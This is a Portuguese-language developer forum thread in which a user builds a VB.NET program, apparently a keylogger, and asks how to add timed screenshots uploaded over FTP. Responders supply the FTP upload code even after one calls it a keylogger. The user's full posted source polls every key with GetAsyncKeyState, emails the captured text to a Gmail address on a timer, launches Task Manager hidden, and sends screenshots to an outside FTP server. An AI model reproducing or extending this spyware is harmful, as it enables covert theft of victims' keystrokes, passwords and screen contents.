Usuário com melhor resposta
Como criar screenshot e enviar FTP ?

Pergunta
-
Olá pessoal, estou fazendo um programa onde em um determinado espaço de tempo(timer) ele envia por SMTP informações digitadas pelo usuário. Gostaria de acrescentar no programa a função de Print Screen(também em um timer) onde ele envia o print para um FTP. Obrigado
Código que usei para gerar o print. Só falta enviar agora pro FTP
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click SendKeys.SendWait("^({PRTSC})") My.Computer.Clipboard.GetImage.Save("C:form.jpg") End Sub End Class
- Editado StereoMyGames segunda-feira, 22 de junho de 2015 22:51
Respostas
-
Então, no seu código, teria que ficar assim:
Private Sub Button3_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button3.Click Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create("a9964736@ftp://ftp.devgamestudios.com/img/form.jpg") ftpRequest.Credentials = New Net.NetworkCredential("a9964736", "SENHA") ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile Dim ficheiro() As Byte = System.IO.File.ReadAllBytes("C:\Folder\form.jpg") Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream() ftpStream.Write(ficheiro, 0, ficheiro.Length) ftpStream.Close() ftpStream.Dispose() End Sub
Ou, usando o código que te mandei de base:
Private Function sendFile2FTP(fileNameLocal As String, fileNameServer As String, user As String, password As String) As String Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create(user + "@" + fileNameServer) ftpRequest.Credentials = New Net.NetworkCredential(user, password) ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile Try Dim ficheiro() As Byte = System.IO.File.ReadAllBytes(fileNameLocal) Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream() ftpStream.Write(ficheiro, 0, ficheiro.Length) ftpStream.Close() ftpStream.Dispose() Return "True" Catch ex As Exception Return ex.Message End Try End Function Private Sub Button3_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button3.Click Dim Status As String = sendFile2FTP("C:\Folder\form.jpg", "ftp://ftp.devgamestudios.com/img/form.jpg", "a9964736", "SENHA") 'O Status será "True" se der certo... se não será a mensagem de erro. End Sub
Só isso- Editado SammuelMiranda terça-feira, 23 de junho de 2015 18:50
- Marcado como Resposta StereoMyGames quarta-feira, 24 de junho de 2015 17:12
Todas as Respostas
-
Legal - basicamente um KeyLogger...
Você tem que conectar com Ftp via FtpWebRequest.
Function sendFile2FTP(fileNameLocal As String, fileNameServer As String, user As String, password As String) As String Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create(user + "@" + fileNameServer) ftpRequest.Credentials = New Net.NetworkCredential(user, password) ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile Try Dim ficheiro() As Byte = System.IO.File.ReadAllBytes(fileNameLocal) Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream() ftpStream.Write(ficheiro, 0, ficheiro.Length) ftpStream.Close() ftpStream.Dispose() Return "True" Catch ex As Exception Return ex.Message End Try End Function
Esse código veio do StackOverflow. Note que no post foi respondida a maneira correta de usar a função (ftp://NOME_DO_USUARIO@CAMINHO_COMPLETO_NO_SERVIDOR_ATE_O_ARQUIVO).
- Editado SammuelMiranda terça-feira, 23 de junho de 2015 17:44
-
-
Adiciono sim, porém mais tarde - não estou com Skype neste PC.
Para você conectar em um servidor FTP, você precisa de usuário e senha (fornecido pelo servidor FTP - da mesma forma que um e-mail, você tem a senha do seu e-mail, e o usuário).
- Veja, o fileNameLocal é o endereço do arquivo no pc cliente certo? Então: "C:\form.jpg".
- fileNameServer é o endereço no servidor FTP aonde o arquivo vai ficar.
Vamos supor que dentro da pasta compartilhada pelo servidor FTP você tenha uma pasta chama imagens e dentro dela você vai colocar esse arquivo, alterando o nome para não sobrescrever os arquivos que tem lá. Então seria: "ftp.meudominio.com.br/pastaraiz/imagens/form_20150101.jpg" (note que alterei o código da minha resposta anterior já para colocar o "@"). - user é o usuário do servidor FTP.
- password é a senha deste usuário.
- Editado SammuelMiranda terça-feira, 23 de junho de 2015 17:44
-
-
-
-
-
Beleza - o Erro 533 é porque o nome que você usou (no ftNameServer) é inválido. O nome deve respeitar o mesmo formato que usamos em URL's (HTML) - sabe? "%20" para ESPAÇO, acentos também tem seus "%ALGUMA_COISA" etc. Eu não sei eles de cabeça, mas achamos no Google fácil isso.
Me diga, qual no você está passando em "ftpNameServer"?
-
O código ficou assim:
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create("ftp://ftp.devgamestudios.com/img") ftpRequest.Credentials = New Net.NetworkCredential("a9964736", "SENHA") ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile Dim ficheiro() As Byte = System.IO.File.ReadAllBytes("C:\Folder\form.jpg") Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream() ftpStream.Write(ficheiro, 0, ficheiro.Length) ftpStream.Close() ftpStream.Dispose() End Sub
-
Então, no seu código, teria que ficar assim:
Private Sub Button3_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button3.Click Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create("a9964736@ftp://ftp.devgamestudios.com/img/form.jpg") ftpRequest.Credentials = New Net.NetworkCredential("a9964736", "SENHA") ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile Dim ficheiro() As Byte = System.IO.File.ReadAllBytes("C:\Folder\form.jpg") Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream() ftpStream.Write(ficheiro, 0, ficheiro.Length) ftpStream.Close() ftpStream.Dispose() End Sub
Ou, usando o código que te mandei de base:
Private Function sendFile2FTP(fileNameLocal As String, fileNameServer As String, user As String, password As String) As String Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create(user + "@" + fileNameServer) ftpRequest.Credentials = New Net.NetworkCredential(user, password) ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile Try Dim ficheiro() As Byte = System.IO.File.ReadAllBytes(fileNameLocal) Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream() ftpStream.Write(ficheiro, 0, ficheiro.Length) ftpStream.Close() ftpStream.Dispose() Return "True" Catch ex As Exception Return ex.Message End Try End Function Private Sub Button3_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button3.Click Dim Status As String = sendFile2FTP("C:\Folder\form.jpg", "ftp://ftp.devgamestudios.com/img/form.jpg", "a9964736", "SENHA") 'O Status será "True" se der certo... se não será a mensagem de erro. End Sub
Só isso- Editado SammuelMiranda terça-feira, 23 de junho de 2015 18:50
- Marcado como Resposta StereoMyGames quarta-feira, 24 de junho de 2015 17:12
-
-
Código todo:
Imports System.Net.Mail Imports System.Net Imports System.IO Imports System.Threading Imports System.Management Public Class Form1 Dim result As Integer Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal tecla As Keys) As Keys Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then RichTextBox1.Text = RichTextBox1.Text + Chr(i) End If Next i End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Timer1.Start() End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click Timer1.Stop() End Sub Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick Dim MyMailMessage As New MailMessage() MyMailMessage.From = New MailAddress("stereomygame@gmail.com") MyMailMessage.To.Add("stereomygame@gmail.com") MyMailMessage.Subject = ("Informações Capturadas") MyMailMessage.Body = "Olá, segue abaixo as informações capturadas no computador em que foi instalado o server: " + RichTextBox1.Text Dim SMTPServer As New SmtpClient("smtp.gmail.com") SMTPServer.Port = 587 SMTPServer.Credentials = New System.Net.NetworkCredential("stereomygame@gmail.com", "SENHA") SMTPServer.EnableSsl = True SMTPServer.Send(MyMailMessage) RichTextBox1.Text = ("") End Sub Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox1.TextChanged End Sub Private Sub Label1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label1.Click End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub Private Sub Button3_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button3.Click Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create("a9964736@ftp://devgamestudios.com/img/form.jpg") ftpRequest.Credentials = New Net.NetworkCredential("a9964736", "SENHA") ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile Dim ficheiro() As Byte = System.IO.File.ReadAllBytes("C:\Folder\form.jpg") Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream() ftpStream.Write(ficheiro, 0, ficheiro.Length) ftpStream.Close() ftpStream.Dispose() End Sub Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click Dim k As Long k = Shell("c:\windows\system32\taskmgr.exe", vbHide) SendKeys.SendWait("^({PRTSC})") My.Computer.Clipboard.GetImage.Save("C:\Folder\form.jpg") End Sub Function sendFile2FTP(ByVal fileNameLocal As String, ByVal fileNameServer As String, ByVal user As String, ByVal password As String) As String Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create(user + "@" + fileNameServer) ftpRequest.Credentials = New Net.NetworkCredential(user, password) ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile Try Dim ficheiro() As Byte = System.IO.File.ReadAllBytes(fileNameLocal) Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream() ftpStream.Write(ficheiro, 0, ficheiro.Length) ftpStream.Close() ftpStream.Dispose() Return "True" Catch ex As Exception Return ex.Message End Try End Function Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick End Sub End Class
- Editado StereoMyGames terça-feira, 23 de junho de 2015 19:13
-
Stereo OCULTA AS SENHAS DO SEU E-MAIL E DO FTP!! rsrs
Agora quanto ao erro, não sei te dizer ao certo - vou ter que pesquisar um pouco.
A URI estar errada significa normalmente que o caminho está errado. Ou seja, em "ftp://devgamestudios.com" não existe uma pasta chamada "img". Ela tem que existir já, e tem que estar na RAIZ DA PASTA GERENCIADA PELO FTP.
Se você criou uma pasta, vamos dizer, em "C:\FTP\" (no servidor) e essa pasta é a pasta gerenciada pelo FTP, então tem que ter uma pasta "C:\FTP\img\" já existente.
-
-
-
-
-
Beleza kra, bom que funcionou.
Ele vai sempre substituir o arquivo se ele já existir. Quando você passar o parâmetro do "fileNameServer" você já tem que passar com o nome do arquivo COMO ELE VAI SE CHAMAR NO SERVIDOR, ou seja, você no seu programa já tem que se preocupar com a "numeração", não tem comando (ou eu não conheço) no FTP que faça isso sozinho.
Minha sugestão: não use numeração, use a data como final do arquivo. Tipo:
Function NewName(ByVal FileName As String) As String FileName = System.IO.Path.GetFileName(FileName) Dim Ext As String = FileName.Substring(FileName.LastIndexOf("."c)) FileName = FileName.Substring(0, FileNameONLY.Length - Ext.Length) FileName += CStr(DATE.Now.Year) + If(DATE.Now.Month > 9, CStr(DATE.Now.Month), "0" + CStr(DATE.Now.Month)) FileName += If(DATE.Now.Day > 9, CStr(DATE.Now.Day), "0" + CStr(DATE.Now.Day)) FileName += If(DATE.Now.Hour > 9, CStr(DATE.Now.Hour), "0" + CStr(DATE.Now.Hour)) FileName += If(DATE.Now.Minute > 9, CStr(DATE.Now.Minute), "0" + CStr(DATE.Now.Minute)) FileName += If(DATE.Now.Second > 9, CStr(DATE.Now.Second), "0" + CStr(DATE.Now.Second)) Return FileName + Ext End Function
Ai o nome "Form.jpg" que você passou as 14:28:32 do dia 21/10/2001 vai gerar um nome "Form20011021142832.jpg".
-
Obrigado. Onde devo colocar o caminho do arquivo a ser salvo ?
Function NewName(ByVal FileName As String) As String FileName = System.IO.Path.GetFileName(FileName) Dim Ext As String = FileName.Substring(FileName.LastIndexOf("."c)) FileName = FileName.Substring(0, "Print.Length" - Ext.Length) FileName += CStr(Date.Now.Year) + If(Date.Now.Month > 9, CStr(Date.Now.Month), "0" + CStr(Date.Now.Month)) FileName += If(Date.Now.Day > 9, CStr(Date.Now.Day), "0" + CStr(Date.Now.Day)) FileName += If(Date.Now.Hour > 9, CStr(Date.Now.Hour), "0" + CStr(Date.Now.Hour)) FileName += If(Date.Now.Minute > 9, CStr(Date.Now.Minute), "0" + CStr(Date.Now.Minute)) FileName += If(Date.Now.Second > 9, CStr(Date.Now.Second), "0" + CStr(Date.Now.Second)) Return FileName + Ext End Function
-